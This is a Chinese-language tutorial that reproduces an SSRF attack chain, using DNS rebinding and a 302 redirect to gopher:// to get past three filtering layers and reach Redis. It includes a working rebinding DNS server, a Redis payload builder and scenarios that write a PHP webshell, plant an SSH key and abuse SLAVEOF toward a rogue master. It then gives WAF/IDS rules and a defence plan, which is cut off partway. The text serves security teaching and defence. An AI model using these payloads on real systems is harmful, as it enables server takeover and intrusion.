三层 SSRF 防护被 Gopher 和 DNS 重绑定干穿——完整攻击链复现与纵深防御方案

分类:安全 / Web 漏洞 / 攻防实战
难度:高级
前置知识:HTTP 协议、DNS 解析原理、Redis 协议、Python 网络编程
日期:2026-07-25


目录


一、SSRF 漏洞深度回顾

1.1 定义与本质

服务端请求伪造(Server-Side Request Forgery,SSRF)是一种安全漏洞,其本质是:服务端应用程序将用户可控的输入作为请求目标 URL,且在发起请求前未进行充分的安全校验。攻击者借此可以操纵服务端发起恶意请求,访问内部网络资源或执行非预期操作。

┌────────┐       用户可控 URL        ┌──────────────┐        目标 URL         ┌────────────┐
│  攻击者 │ ──────────────────────> │  目标服务端   │ ───────────────────> │ 内网服务   │
│ (Browser)│  http://victim.com/fetch│  (Server)    │  http://127.0.0.1:6379│ (Redis)    │
└────────┘      ?url=http://evil.com  └──────────────┘                         └────────────┘
                     ↑                          ↑                                    ↑
                  用户输入                   未充分校验                          非预期访问

1.2 经典攻击场景

攻击场景 Payload 示例 危害等级
访问内网服务 http://127.0.0.1:6379/ 严重
读取本地文件 file:///etc/passwd
云元数据窃取 http://169.254.169.254/latest/meta-data/ 严重
端口扫描 http://192.168.1.1:22/
攻击内网数据库 gopher://10.0.0.5:3306/_... 严重

1.3 SSRF 的根本问题:信任边界错误

SSRF 的根源在于信任边界错位——服务端信任了来自外部的 URL 输入,却将其当作"安全的外部请求"处理。任何基于黑名单的、先检查后请求的防御模型,都天然存在 TOCTOU(Time-of-Check to Time-of-Use)竞态窗口。本文将展示,即使部署了三层防护,攻击者仍然可以通过 DNS 重绑定和 Gopher 协议的组合拳将其全部穿透。


二、三层防护架构设计与实现

假设目标系统是一个 URL 代理/抓取服务,开发者出于安全考虑部署了三层纵深防御。下面是完整的三层防护代码:

2.1 第一层:URL 黑名单过滤

防护思路:通过协议黑名单、主机黑名单和 IP 段黑名单三重拦截。

# === 第一层防护:URL 黑名单 ===
import ipaddress
from urllib.parse import urlparse

BLACKLIST_PROTOCOLS = ['file', 'ftp', 'dict', 'gopher', 'ldap', 'sftp']
BLACKLIST_HOSTS = ['127.0.0.1', 'localhost', '0.0.0.0', '::1',
                   '[::1]', 'metadata.google.internal']
PRIVATE_PREFIXES = [
    '10.', '172.16.', '172.17.', '172.18.', '172.19.',
    '172.20.', '172.21.', '172.22.', '172.23.', '172.24.',
    '172.25.', '172.26.', '172.27.', '172.28.', '172.29.',
    '172.30.', '172.31.', '192.168.', '169.254.'
]

def first_layer_filter(url):
    """第一层:协议 + 主机 + IP 段黑名单"""
    parsed = urlparse(url)

    # 协议黑名单
    if parsed.scheme.lower() in BLACKLIST_PROTOCOLS:
        return False, f"[Layer1] Protocol '{parsed.scheme}' is blocked"

    hostname = parsed.hostname
    if not hostname:
        return False, "[Layer1] No hostname in URL"

    # 主机名精确匹配黑名单
    if hostname.lower() in BLACKLIST_HOSTS:
        return False, f"[Layer1] Host '{hostname}' is blocked"

    # IP 段黑名单(字符串前缀匹配)
    for prefix in PRIVATE_PREFIXES:
        if hostname.startswith(prefix):
            return False, f"[Layer1] Private IP prefix '{prefix}' is blocked"

    # ipaddress 对象检查
    try:
        ip = ipaddress.ip_address(hostname)
        if ip.is_private or ip.is_loopback or ip.is_link_local or ip.is_reserved:
            return False, f"[Layer1] Private/reserved IP '{hostname}' is blocked"
    except ValueError:
        pass  # 域名,非 IP 地址,放行

    return True, "[Layer1] Passed"

2.2 第二层:DNS 解析后 IP 二次校验

防护思路:第一层只检查 URL 字符串本身,如果用户传入的是域名,黑名单无法覆盖。因此需要实际解析域名,检查解析后的 IP 地址。

# === 第二层防护:DNS 解析后 IP 校验 ===
import socket

def second_layer_filter(url):
    """第二层:解析域名的真实 IP,校验是否为内网地址"""
    parsed = urlparse(url)
    hostname = parsed.hostname

    # 如果已经是 IP 地址,第一层已处理
    try:
        ipaddress.ip_address(hostname)
        return True, "[Layer2] IP address, already checked by Layer1"
    except ValueError:
        pass  # 是域名,需要解析

    # DNS 解析
    try:
        resolved = socket.getaddrinfo(hostname, None)
    except socket.gaierror:
        return False, "[Layer2] DNS resolution failed"

    # 遍历所有解析结果
    for family, socktype, proto, canonname, sockaddr in resolved:
        ip_str = sockaddr[0]
        ip = ipaddress.ip_address(ip_str)
        if ip.is_private or ip.is_loopback or ip.is_link_local or ip.is_reserved:
            return False, f"[Layer2] Resolved IP '{ip_str}' is private/reserved"

    return True, "[Layer2] Passed"

2.3 第三层:HTTP 协议限制 + 响应长度限制

防护思路:强制只允许 HTTP/HTTPS 协议发起实际请求,并限制响应长度以防止敏感信息泄露。

# === 第三层防护:协议白名单 + 响应限制 ===
import requests

def third_layer_filter(url):
    """第三层:强制 HTTP/HTTPS + 响应长度限制"""
    parsed = urlparse(url)

    # 协议白名单
    if parsed.scheme.lower() not in ['http', 'https']:
        return False, f"[Layer3] Only HTTP/HTTPS allowed, got '{parsed.scheme}'"

    return True, "[Layer3] Passed"

def safe_request(url, max_length=1024):
    """经过三层校验后的安全请求"""
    # L1: URL 黑名单
    ok, msg = first_layer_filter(url)
    if not ok:
        return {"error": msg}, 403

    # L2: DNS 解析后校验
    ok, msg = second_layer_filter(url)
    if not ok:
        return {"error": msg}, 403

    # L3: HTTP 协议 + 响应限制
    ok, msg = third_layer_filter(url)
    if not ok:
        return {"error": msg}, 403

    # 发起请求(注意:这里 allow_redirects=True 是关键漏洞点)
    try:
        resp = requests.get(url, timeout=5, allow_redirects=True)
        content = resp.content[:max_length]
        return {"status": resp.status_code, "content": content.decode('utf-8', errors='replace')}
    except requests.RequestException as e:
        return {"error": f"Request failed: {e}"}, 502

2.4 三层防护整体架构

                         用户请求 URL
                              │
                              ▼
                   ┌─────────────────────┐
                   │  第一层:URL 黑名单   │  协议/主机/IP段 字符串级拦截
                   │  (字符串匹配)         │
                   └─────────┬───────────┘
                             │ 通过
                             ▼
                   ┌─────────────────────┐
                   │  第二层:DNS 解析校验 │  socket.getaddrinfo() 解析域名
                   │  (网络级校验)        │  检查解析后 IP 是否内网
                   └─────────┬───────────┘
                             │ 通过
                             ▼
                   ┌─────────────────────┐
                   │  第三层:协议白名单   │  仅允许 http/https
                   │  + 响应长度限制       │  allow_redirects=True ← 漏洞!
                   └─────────┬───────────┘
                             │ 通过
                             ▼
                     requests.get(url)
                   ┌─────────┴───────────┐
                   │  实际发起 HTTP 请求   │
                   │  跟随 302 重定向      │  ← Gopher 协议绕过入口
                   └─────────────────────┘

看起来固若金汤?别急,攻击者有三个突破点。


三、逐层绕过:攻击者的思维路径

3.1 第一层绕过:公网域名替代 IP 地址

问题:第一层使用字符串匹配拦截 127.0.0.1localhost 和内网 IP 段。但攻击者传入的是一个公网域名,比如 evil.rebind.attacker.com,这个域名的字符串本身不包含任何黑名单特征。

# 攻击者传入的 URL
http://evil.rebind.attacker.com/redirect

# 第一层检查流程
scheme = "http"           → 不在黑名单 ✓
hostname = "evil.rebind.attacker.com"  → 不在 BLACKLIST_HOSTS ✓
不是 IP 地址               → IP 段检查跳过 ✓

# 结果:通过第一层

绕过原理:黑名单是基于"已知危险"的静态匹配,而域名是动态的 DNS 记录。字符串级别的检查无法预知域名未来会解析到什么 IP。

3.2 第二层绕过:DNS 重绑定(DNS Rebinding)

问题:第二层调用 socket.getaddrinfo() 解析域名。在检查的瞬间,域名确实解析到合法公网 IP。但 DNS 是一个动态系统——攻击者控制了该域名的 DNS 服务器,可以在检查通过后立即修改解析结果

                    时间轴
                      │
    ┌─────────────────┼──────────────────┐
    │                 │                  │
    ▼                 ▼                  ▼
┌────────┐      ┌───────────┐     ┌──────────┐
│ DNS 查询 │      │ IP 校验    │     │ 实际请求  │
│ (T1)    │      │ (T1+1ms)  │     │ (T1+5ms) │
└───┬────┘      └─────┬─────┘     └────┬─────┘
    │                 │                 │
    │  返回 1.2.3.4    │  1.2.3.4 是公网  │  DNS 缓存已过期
    │  (公网合法 IP)   │  IP,校验通过!   │  TTL=0 → 重新解析
    │                 │                 │
    └─────────────────┼─────────────────┘
                      │                 │
                      │           返回 127.0.0.1
                      │           (内网目标 IP)
                      │                 │
                      ▼                 ▼
                  检查通过           请求发往 127.0.0.1:6379
                                    SSRF 攻击成功!

核心机制

属性 第一次查询(检查阶段) 第二次查询(请求阶段)
返回 IP 1.2.3.4(公网) 127.0.0.1(内网)
TTL 0(立即过期)
时间间隔 ~1ms ~5ms
校验结果 通过 未校验(已通过第二层)

3.3 第三层绕过:302 跳转到 Gopher 协议

问题:第三层限制只能用 HTTP/HTTPS 协议。但代码中有一个致命漏洞——allow_redirects=True。当服务端请求 http://attacker.com/redirect 时,该服务返回 302 FoundLocation 头指向 gopher://127.0.0.1:6379/_...requests.get() 默认会跟随重定向,且重定向的目标 URL 不再经过三层校验

# 第三层检查
scheme = "http"  → 在白名单中 ✓
→ 发起 HTTP 请求到 attacker.com/redirect
→ 收到 302 响应
→ Location: gopher://127.0.0.1:6379/_*3%0d%0a...
→ requests 库自动跟随重定向 ← 未经过校验!
→ 发起 Gopher 请求到 127.0.0.1:6379
→ Redis 被攻击!

三层全部穿透。下面进入实战复现。


四、DNS 重绑定:时间窗口攻击的核武器

4.1 原理详解

DNS 重绑定(DNS Rebinding)是一种利用 DNS 解析时间差来绕过同源策略或服务端校验的攻击技术。攻击者自建一个恶意的 DNS 服务器,对同一个域名交替返回不同的 IP 地址,并设置极短的 TTL(Time To Live)。

# === 攻击者的恶意 DNS 服务器 ===
# 使用 dnspython 实现一个简单的 DNS 重绑定服务
from dnslib.server import DNSServer, DNSHandler, BaseResolver
from dnslib import DNSRecord, RR, A
import time

class RebindResolver(BaseResolver):
    """DNS 重绑定解析器"""
    def __init__(self):
        self.safe_ip = "93.184.216.34"      # 公网合法 IP(example.com 的 IP)
        self.target_ip = "127.0.0.1"          # 内网目标 IP
        self.query_log = {}                   # 记录每个客户端的查询次数

    def resolve(self, request, handler):
        reply = request.reply()
        qname = str(request.q.qname).rstrip('.')

        # 基于客户端 IP 追踪查询次数
        client_key = handler.client_address[0]
        count = self.query_log.get(client_key, 0)
        self.query_log[client_key] = count + 1

        # 奇数次返回公网 IP(通过校验),偶数次返回内网 IP(攻击)
        ip = self.safe_ip if count % 2 == 1 else self.target_ip
        reply.add_answer(RR(qname, QTYPE=A, rdata=A(ip), ttl=0))
        print(f"[DNS] Client={client_key}, Query#{count}, "
              f"Return={ip}, TTL=0")
        return reply

# 启动 DNS 服务器
if __name__ == "__main__":
    resolver = RebindResolver()
    server = DNSServer(resolver, port=5353, address="0.0.0.0")
    server.start_thread()
    print("[*] Malicious DNS server running on port 5353")
    print("[*] evil.rebind.attacker.com → alternating IPs")

4.2 DNS 重绑定与 TOCTOU 的关系

DNS 重绑定本质上是网络层面的 TOCTOU(Time-of-Check to Time-of-Use)攻击。关键在于"检查"和"使用"之间存在一个时间差,而 DNS 缓存的 TTL 控制了这个时间差的最小值。

TOCTOU 模型:
  ┌──────────────┐         ┌──────────────┐
  │  Check 阶段   │  Δt     │  Use 阶段     │
  │  DNS查询→校验  │ ──────> │  DNS查询→请求  │
  │  返回 A 记录   │         │  返回 B 记录   │
  └──────────────┘         └──────────────┘
                     ^
                     │
              TTL=0 使 Δt 的下界趋近于 0
              任何非零 Δt 都可被利用

4.3 两种实现方式对比

实现方式 原理 优点 缺点
TTL=0 交替返回 每次查询返回不同 IP,TTL=0 强制不缓存 可靠,不依赖时间控制 需要自建 DNS 服务器
短 TTL 定时切换 TTL 设为极短值(如 1 秒),N 秒后切换记录 配置简单 精度低,可能失败

五、Gopher 协议攻击 Redis:从命令到 Payload

5.1 Gopher 协议简介

Gopher 是一个早期的互联网协议(RFC 1436),其 URL 格式为:

gopher://<host>:<port>/<type><selector>

其中 <type> 通常为 _(表示原始数据),<selector> 则是要发送的原始 TCP 数据。这意味着 Gopher 协议可以构造任意 TCP 数据流,使其成为 SSRF 攻击中最强大的协议工具。

5.2 Redis 协议格式

Redis 使用自定义的文本协议(RESP,REdis Serialization Protocol)。每条命令遵循以下格式:

*<参数个数>\r\n
$<参数1长度>\r\n
<参数1>\r\n
$<参数2长度>\r\n
<参数2>\r\n
...

例如 SET hello world 命令:

*3\r\n
$3\r\n
SET\r\n
$5\r\n
hello\r\n
$5\r\n
world\r\n

5.3 完整 Payload 构造代码

# === Gopher 协议攻击 Redis 的完整 Payload 构造器 ===
import urllib.parse
import struct

class RedisGopherPayload:
    """构造通过 Gopher 协议发送的 Redis 命令 Payload"""

    @staticmethod
    def redis_command(*args):
        """将 Redis 命令参数转换为 RESP 协议格式"""
        cmd = f"*{len(args)}\r\n"
        for arg in args:
            arg_str = str(arg)
            cmd += f"${len(arg_str)}\r\n{arg_str}\r\n"
        return cmd

    @staticmethod
    def build_payload(commands):
        """
        构造完整的 Gopher Payload
        commands: 命令列表,每条命令是一个参数元组
        返回: 完整的 gopher:// URL
        """
        payload = ""
        for cmd in commands:
            payload += RedisGopherPayload.redis_command(*cmd)

        # URL 编码(注意:必须正确编码特殊字符)
        encoded = urllib.parse.quote(payload, safe='')
        # Gopher 协议 URL 格式:gopher://host:port/_<data>
        return f"gopher://127.0.0.1:6379/_{encoded}"

    @staticmethod
    def crlf_injection_payload(target_ip, target_port, data):
        """
        CRLF 注入方式:通过 HTTP 请求注入 Gopher Payload
        某些场景下需要将 payload 嵌入 HTTP 头部
        """
        return data.replace('\r\n', '%0d%0a')


# === 构造攻击 Payload ===

# 攻击场景 1:写入 Webshell 到 Web 目录
commands_webshell = [
    ("CONFIG", "SET", "dir", "/var/www/html"),
    ("CONFIG", "SET", "dbfilename", "shell.php"),
    ("SET", "shell", "<?php system($_GET['cmd']); ?>"),
    ("SAVE"),
]

# 攻击场景 2:写入 SSH 公钥实现免密登录
commands_ssh = [
    ("CONFIG", "SET", "dir", "/root/.ssh"),
    ("CONFIG", "SET", "dbfilename", "authorized_keys"),
    ("SET", "key", "ssh-rsa AAAAB3NzaC1yc2EAAAA... attacker@evil.com\n"),
    ("SAVE"),
]

# 攻击场景 3:Redis 主从复制 RCE(利用未授权 Redis 4.x/5.x)
commands_masterslave = [
    ("SLAVEOF", "10.0.0.1", "8888"),   # 连接到攻击者的 Rogue Redis Server
    ("CONFIG", "SET", "dir", "/var/spool/cron"),
    ("CONFIG", "SET", "dbfilename", "root"),
    ("SLAVEOF", "NO", "ONE"),          # 断开主从复制,触发文件落地
]

# 生成最终 Payload
builder = RedisGopherPayload()
gopher_url = builder.build_payload(commands_webshell)
print(f"[+] Gopher Payload URL (truncated):")
print(f"    {gopher_url[:200]}...")
print(f"[+] Total URL length: {len(gopher_url)} bytes")

5.4 Payload 结构分析

完整的攻击 URL 结构:

gopher://127.0.0.1:6379/_
  │         │     │   │
  │         │     │   └── 下划线标记:原始数据(非 Gopher 菜单)
  │         │     └────── 端口 6379(Redis 默认端口)
  │         └──────────── 主机 127.0.0.1(内网目标)
  └────────────────────── Gopher 协议标识

Payload 内容 (URL 编码前):
  *4\r\n                    ← CONFIG SET dir 命令
  $6\r\n
  CONFIG\r\n
  $3\r\n
  SET\r\n
  $3\r\n
  dir\r\n
  $14\r\n
  /var/www/html\r\n
  *4\r\n                    ← CONFIG SET dbfilename 命令
  ...

六、完整攻击链复现

6.1 攻击环境

┌─────────────────────────────────────────────────────────────────┐
│                         攻击拓扑                                 │
│                                                                 │
│  ┌──────────┐       ┌───────────────┐       ┌──────────────┐  │
│  │  攻击者   │       │  目标服务端    │       │  内网 Redis   │  │
│  │ (Attacker)│       │ (Victim)      │       │  127.0.0.1   │  │
│  │          │       │               │       │  :6379       │  │
│  │ ·DNS 服务 │       │ ·SSRF 接口    │       │  (无认证)     │  │
│  │ ·HTTP服务 │       │ ·三层防护     │       │              │  │
│  │  :80     │       │               │       │              │  │
│  └────┬─────┘       └──────┬────────┘       └──────┬───────┘  │
│       │                    │                       │           │
│       │  evil.rebind.      │  /fetch?url=...       │           │
│       │  attacker.com     │  三层防护              │           │
│       │  DNS 重绑定        │                       │           │
│       │                    │                       │           │
│       └────────────────────┘                       │           │
│                                                      │           │
│                            http://attacker.com/      │           │
│                            redirect → 302 →          │           │
│                            gopher://127.0.0.1:6379   │           │
│                                                     │           │
└─────────────────────────────────────────────────────────────────┘

6.2 完整攻击步骤

Step 1:搭建恶意 DNS 服务器

# 在攻击者服务器上部署 DNS 重绑定服务
# 域名: evil.rebind.attacker.com(指向攻击者 DNS: ns.attacker.com)

# ns.attacker.com 运行上面的 RebindResolver
# 配置如下:
#   奇数次查询 → 返回 93.184.216.34(公网 IP)
#   偶数次查询 → 返回 127.0.0.1(内网 IP)
#   TTL = 0(强制每次重新查询)

Step 2:构造 Gopher Payload 并部署 302 跳转服务

# === 攻击者的 302 跳转服务 ===
from flask import Flask, redirect, request, make_response
import urllib.parse

app = Flask(__name__)

@app.route('/redirect')
def redirect_to_gopher():
    """
    返回 302 跳转到 gopher://127.0.0.1:6379/
    目标服务端如果 allow_redirects=True,会跟随这个跳转
    """
    # Redis 命令: 写入 Webshell
    commands = [
        ("CONFIG", "SET", "dir", "/var/www/html"),
        ("CONFIG", "SET", "dbfilename", "shell.php"),
        ("SET", "shell", "<?php system($_GET['cmd']); ?>"),
        ("SAVE"),
    ]

    # 构建 RESP 协议 payload
    payload = ""
    for cmd in commands:
        payload += f"*{len(cmd)}\r\n"
        for arg in cmd:
            payload += f"${len(arg)}\r\n{arg}\r\n"

    # URL 编码
    encoded = urllib.parse.quote(payload, safe='')

    # 构建 Gopher URL(目标是 127.0.0.1:6379)
    gopher_url = f"gopher://127.0.0.1:6379/_{encoded}"

    # 返回 302 跳转
    resp = make_response('', 302)
    resp.headers['Location'] = gopher_url
    print(f"[302] Redirecting to: {gopher_url[:100]}...")
    return resp

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=80)

Step 3:组装并提交攻击 URL

# === 攻击者最终提交的 URL ===
attack_url = "http://evil.rebind.attacker.com/redirect"

# 这个 URL 看起来完全合法:
# - 协议是 http ✓
# - 域名是公网域名 ✓
# - 没有任何黑名单特征 ✓

# 提交到目标服务端
target_api = "http://victim.com/fetch"
import requests
response = requests.get(f"{target_api}?url={attack_url}")
print(f"[+] Attack response: {response.text}")

Step 4:完整攻击流程详解

  Step 1: 攻击者提交 URL
  ┌───────────────────────────────────────────────────────────────┐
  │ POST http://victim.com/fetch                                 │
  │ ?url=http://evil.rebind.attacker.com/redirect                │
  └───────────────────────────────────────────────────────────────┘

  Step 2: 第一层检查(URL 黑名单)
  ┌───────────────────────────────────────────────────────────────┐
  │ scheme = "http"              → 不在黑名单 [gopher/file/...]  │
  │ hostname = "evil.rebind..."  → 不在 [localhost/127.0.0.1]   │
  │ 不是 IP 地址                 → IP 段检查跳过                 │
  │ 结果: PASS ✓                                             │
  └───────────────────────────────────────────────────────────────┘

  Step 3: 第二层检查(DNS 解析)
  ┌───────────────────────────────────────────────────────────────┐
  │ socket.getaddrinfo("evil.rebind.attacker.com")               │
  │ → 第 1 次查询(奇数次)                                      │
  │ → DNS 返回 93.184.216.34(公网 IP)                          │
  │ → IP 校验: 不是内网 IP → PASS ✓                              │
  └───────────────────────────────────────────────────────────────┘

  Step 4: 第三层检查(协议白名单)
  ┌───────────────────────────────────────────────────────────────┐
  │ scheme = "http"              → 在白名单 [http/https] ✓       │
  │ 结果: PASS ✓                                             │
  └───────────────────────────────────────────────────────────────┘

  Step 5: 发起 HTTP 请求
  ┌───────────────────────────────────────────────────────────────┐
  │ requests.get("http://evil.rebind.attacker.com/redirect")     │
  │ → 连接到 evil.rebind.attacker.com                            │
  │ → 第 2 次查询(偶数次)                                      │
  │ → DNS 返回 127.0.0.1(TTL=0,缓存已过期)                    │
  │ → 请求到达 127.0.0.1:80(跳转服务监听在 0.0.0.0:80)         │
  │ → 收到 302 Redirect                                         │
  │ → Location: gopher://127.0.0.1:6379/_%2A4%0D%0A...          │
  └───────────────────────────────────────────────────────────────┘

  Step 6: 跟随重定向(漏洞触发点)
  ┌───────────────────────────────────────────────────────────────┐
  │ requests 库自动跟随 302 → 发起 Gopher 请求                    │
  │ → gopher://127.0.0.1:6379/_*4\r\n$6\r\nCONFIG\r\n...          │
  │ → Redis 收到命令并执行                                       │
  │ → CONFIG SET dir /var/www/html                               │
  │ → CONFIG SET dbfilename shell.php                            │
  │ → SET shell "<?php system($_GET['cmd']); ?>"                 │
  │ → SAVE                                                       │
  │ → Webshell 写入 /var/www/html/shell.php                      │
  └───────────────────────────────────────────────────────────────┘

  Step 7: 利用 Webshell
  ┌───────────────────────────────────────────────────────────────┐
  │ GET http://victim.com/shell.php?cmd=cat+/etc/passwd          │
  │ → 目标服务器已被完全控制                                      │
  └───────────────────────────────────────────────────────────────┘

七、攻击时序图

时间  │  攻击者              │  目标服务端 (victim.com)       │  DNS 服务器         │  302 服务 (attacker.com)  │  内网 Redis
──────┼──────────────────────┼───────────────────────────────┼─────────────────────┼──────────────────────────┼──────────────
  T0  │ 提交恶意 URL         │                              │                     │                          │
      │ http://evil.rebind.  │                              │                     │                          │
      │ attacker.com/redir   │                              │                     │                          │
──────┼──────────────────────┼───────────────────────────────┼─────────────────────┼──────────────────────────┼──────────────
  T1  │                      │ [L1] URL 黑名单检查            │                     │                          │
      │                      │  scheme="http" → PASS         │                     │                          │
      │                      │  hostname 不在黑名单 → PASS    │                     │                          │
──────┼──────────────────────┼───────────────────────────────┼─────────────────────┼──────────────────────────┼──────────────
  T2  │                      │ [L2] DNS 解析校验              │                     │                          │
      │                      │ ── getaddrinfo(evil.rebind) ─>│                     │                          │
      │                      │ <── 93.184.216.34 (公网) ─────│                     │                          │
      │                      │  IP 不是内网 → PASS            │                     │                          │
──────┼──────────────────────┼───────────────────────────────┼─────────────────────┼──────────────────────────┼──────────────
  T3  │                      │ [L3] 协议白名单                │                     │                          │
      │                      │  scheme="http" → PASS         │                     │                          │
──────┼──────────────────────┼───────────────────────────────┼─────────────────────┼──────────────────────────┼──────────────
  T4  │                      │ requests.get(url)             │                     │                          │
      │                      │ DNS 缓存 TTL=0 → 重新查询     │                     │                          │
      │                      │ ── getaddrinfo(evil.rebind) ─>│                     │                          │
      │                      │ <── 127.0.0.1 (内网!) ─────────│                     │                          │
      │                      │                              │                     │                          │
      │                      │ ── HTTP GET /redirect ──────────────────────────────>│                          │
──────┼──────────────────────┼───────────────────────────────┼─────────────────────┼──────────────────────────┼──────────────
  T5  │                      │                              │                     │  返回 302                 │
      │                      │ <── 302 Location: gopher:// ───────────────────────│                          │
──────┼──────────────────────┼───────────────────────────────┼─────────────────────┼──────────────────────────┼──────────────
  T6  │                      │ 跟随重定向                     │                     │                          │
      │                      │ (不经过三层校验!)              │                     │                          │
      │                      │ ── Gopher 请求 ─────────────────────────────────────────────────────────────> │
      │                      │   *4\r\n$6\r\nCONFIG\r\n...  │                     │                          │
──────┼──────────────────────┼───────────────────────────────┼─────────────────────┼──────────────────────────┼──────────────
  T7  │                      │                              │                     │                          │  Redis 执行
      │                      │                              │                     │                          │  CONFIG SET
      │                      │                              │                     │                          │  SET shell
      │                      │                              │                     │                          │  SAVE
──────┼──────────────────────┼───────────────────────────────┼─────────────────────┼──────────────────────────┼──────────────
  T8  │ 访问 Webshell         │                              │                     │                          │
      │ victim.com/shell.php  │                              │                     │                          │
      │ ?cmd=id               │                              │                     │                          │
──────┼──────────────────────┼───────────────────────────────┼─────────────────────┼──────────────────────────┼──────────────
  T9  │ 获得 Shell            │                              │                     │                          │
      │ uid=33(www-data)...    │                              │                     │                          │

八、WAF / IDS 检测规则

8.1 ModSecurity WAF 规则

# ===================================================
# SSRF 防护规则集 - ModSecurity CRS 扩展
# ===================================================

# 规则 1:检测 Gopher/Dict/File 等危险协议
SecRule REQUEST_URI|ARGS|REQUEST_BODY "@rx (?i)(gopher|dict|file|ftp|ldap|sftp|tftp)://" \
    "id:900100,\
    phase:2,\
    block,\
    t:none,\
    msg:'SSRF Attack: Dangerous protocol detected in URL parameter',\
    severity:CRITICAL,\
    logdata:'Matched Data: %{MATCHED_VAR}',\
    tag:'attack-ssrf',\
    tag:'OWASP-CRS'"

# 规则 2:检测内网 IP 地址特征(多种表示法)
SecRule REQUEST_URI|ARGS "@rx (?:127\.0\.0\.1|0x7f\.0\.0\.1|0177\.0\.0\.1|0\.0\.0\.0|169\.254\.169\.254|10\.\d{1,3}\.\d{1,3}\.\d{1,3}|172\.(1[6-9]|2\d|3[01])\.\d{1,3}\.\d{1,3}|192\.168\.\d{1,3}\.\d{1,3})" \
    "id:900101,\
    phase:2,\
    block,\
    t:none,\
    msg:'SSRF Attack: Private/internal IP address detected',\
    severity:CRITICAL,\
    tag:'attack-ssrf'"

# 规则 3:检测 URL 编码混淆的内网 IP
SecRule ARGS "@rx (?:%31%32%37|%30%78%37%66|%5b%3a%3a%31%5d)" \
    "id:900102,\
    phase:2,\
    block,\
    t:urlDecodeUni,\
    msg:'SSRF Attack: URL-encoded internal IP detected',\
    severity:HIGH,\
    tag:'attack-ssrf',\
    tag:'evasion'"

# 规则 4:检测短 TTL 域名的异常行为(配合 DNS 日志分析)
SecRule &DNS_TTL "@lt 5" \
    "id:900103,\
    phase:2,\
    pass,\
    msg:'SSRF Warning: DNS TTL suspiciously low, potential rebinding',\
    severity:HIGH,\
    tag:'attack-ssrf',\
    tag:'dns-rebinding',\
    setvar:'tx.suspicious_dns_ttl=1'"

# 规则 5:检测 HTTP 响应中 302 跳转到非 HTTP 协议
SecRule RESPONSE_STATUS "@streq 302" \
    "chain,id:900104,phase:3,pass,msg:'SSRF: Redirect to non-HTTP protocol detected'"
SecRule RESPONSE_HEADERS:Location "@rx ^(?i)(gopher|file|dict|ftp)://"

# 规则 6:检测 Redis RESP 协议特征(在 URL 参数中)
SecRule ARGS "@rx \*[0-9]+\x0d\x0a\$[0-9]+\x0d\x0a(CONFIG|SET|GET|SLAVEOF|SAVE|FLUSHALL)" \
    "id:900105,\
    phase:2,\
    block,\
    t:urlDecode,\
    msg:'SSRF Attack: Redis RESP protocol payload detected',\
    severity:CRITICAL,\
    tag:'attack-ssrf',\
    tag:'attack-redis'"

8.2 网络层 IDS 规则(Snort/Suricata)

# Snort 规则: 检测出站到 Redis 的 Gopher 请求
alert tcp $HOME_NET any -> $INTERNAL_NET 6379 (msg:"SSRF - Gopher protocol to Redis"; flow:to_server; content:"*"; depth:1; pcre:"/^\*[0-9]+\r\n/"; content:"CONFIG"; distance:0; classtype:attempted-admin; sid:1000001; rev:1;)

# Snort 规则: 检测 DNS 重绑定特征(同一域名短时间内解析到不同 IP 段)
alert udp any 53 -> any any (msg:"DNS Rebinding - TTL=0 with A record"; content:"|00 00 00 00|"; offset:8; depth:4; content:"|00 01 00 01|"; within:20; classtype:attempted-dos; sid:1000002; rev:1;)

8.3 应用层异常检测

# === SSRF 异常检测器 ===
import socket
import ipaddress
import time
from collections import defaultdict

class SSRFAnomalyDetector:
    """基于行为特征的 SSRF 攻击检测"""

    def __init__(self, ip_change_threshold=2, time_window=30):
        self.dns_history = defaultdict(list)  # {hostname: [(timestamp, ip_set)]}
        self.ip_change_threshold = ip_change_threshold
        self.time_window = time_window  # 秒

    def check_dns_rebinding(self, hostname):
        """检测 DNS 重绑定行为"""
        now = time.time()

        # 解析当前 IP
        try:
            resolved = socket.getaddrinfo(hostname, None)
            current_ips = {sockaddr[0] for _, _, _, _, sockaddr in resolved}
        except socket.gaierror:
            return False, "DNS resolution failed"

        # 记录历史
        self.dns_history[hostname].append((now, current_ips))

        # 清理过期记录
        self.dns_history[hostname] = [
            (ts, ips) for ts, ips in self.dns_history[hostname]
            if now - ts < self.time_window
        ]

        # 检查是否有频繁的 IP 变化
        history = self.dns_history[hostname]
        if len(history) < 2:
            return False, "Insufficient data"

        # 统计时间窗口内的 IP 变化次数
        ip_changes = 0
        for i in range(1, len(history)):
            if history[i][1] != history[i-1][1]:
                ip_changes += 1

        if ip_changes >= self.ip_change_threshold:
            # 检查是否涉及内网 IP
            for _, ips in history:
                for ip_str in ips:
                    ip = ipaddress.ip_address(ip_str)
                    if ip.is_private or ip.is_loopback:
                        return True, f"DNS Rebinding: {ip_changes} IP changes in {self.time_window}s, private IP detected"

        return False, "Normal"

    def check_redirect_chain(self, url, response):
        """检测重定向链中的协议降级"""
        if response.status_code in (301, 302, 303, 307, 308):
            location = response.headers.get('Location', '')
            parsed_location = urlparse(location)
            if parsed_location.scheme not in ['http', 'https']:
                return True, f"Protocol downgrade via redirect: {parsed_location.scheme}"
        return False, "Normal"


# 使用示例
detector = SSRFAnomalyDetector()

# 在 SSRF 接口中集成检测
def ssrf_endpoint(url):
    parsed = urlparse(url)
    hostname = parsed.hostname

    # 检测 DNS 重绑定
    is_rebinding, detail = detector.check_dns_rebinding(hostname)
    if is_rebinding:
        return {"error": f"Potential DNS rebinding: {detail}"}, 403

    # ... 正常的请求逻辑 ...

九、纵深防御方案

单一的防护手段永远不够。下面给出一个覆盖架构、网络、应用、DNS、服务各层的纵深防御方案。

9.1 纵深防御架构总览

┌─────────────────────────────────────────────────────────────────────┐
│                        纵深防御架构                                  │
│                                                                     │
│  ┌───────────────────────────────────────────────────────────────┐  │
│  │  Layer 5: 服务层                                               │  │
│  │  · Redis 强制认证 (requirepass)                               │  │
│  │  · K8s API 启用 RBAC + mTLS                                  │  │
│  │  · ElasticSearch 启用 X-Pack Security                         │  │
│  │  · 内网服务监听 127.0.0.1 而非 0.0.0.0                       │  │
│  └───────────────────────────────┬───────────────────────────────┘  │
│                                  │                                  │
│  ┌───────────────────────────────┴───────────────────────────────┐  │
│  │  Layer 4: 网络层                                               │  │
│  │  · 出站防火墙白名单(只允许业务所需域名/IP)                   │  │
│  │  · VPC 内网隔离(不同服务位于不同子网)                        │  │
│  │  · 安全组规则(禁止从应用服务器访问内网管理端口)                │  │
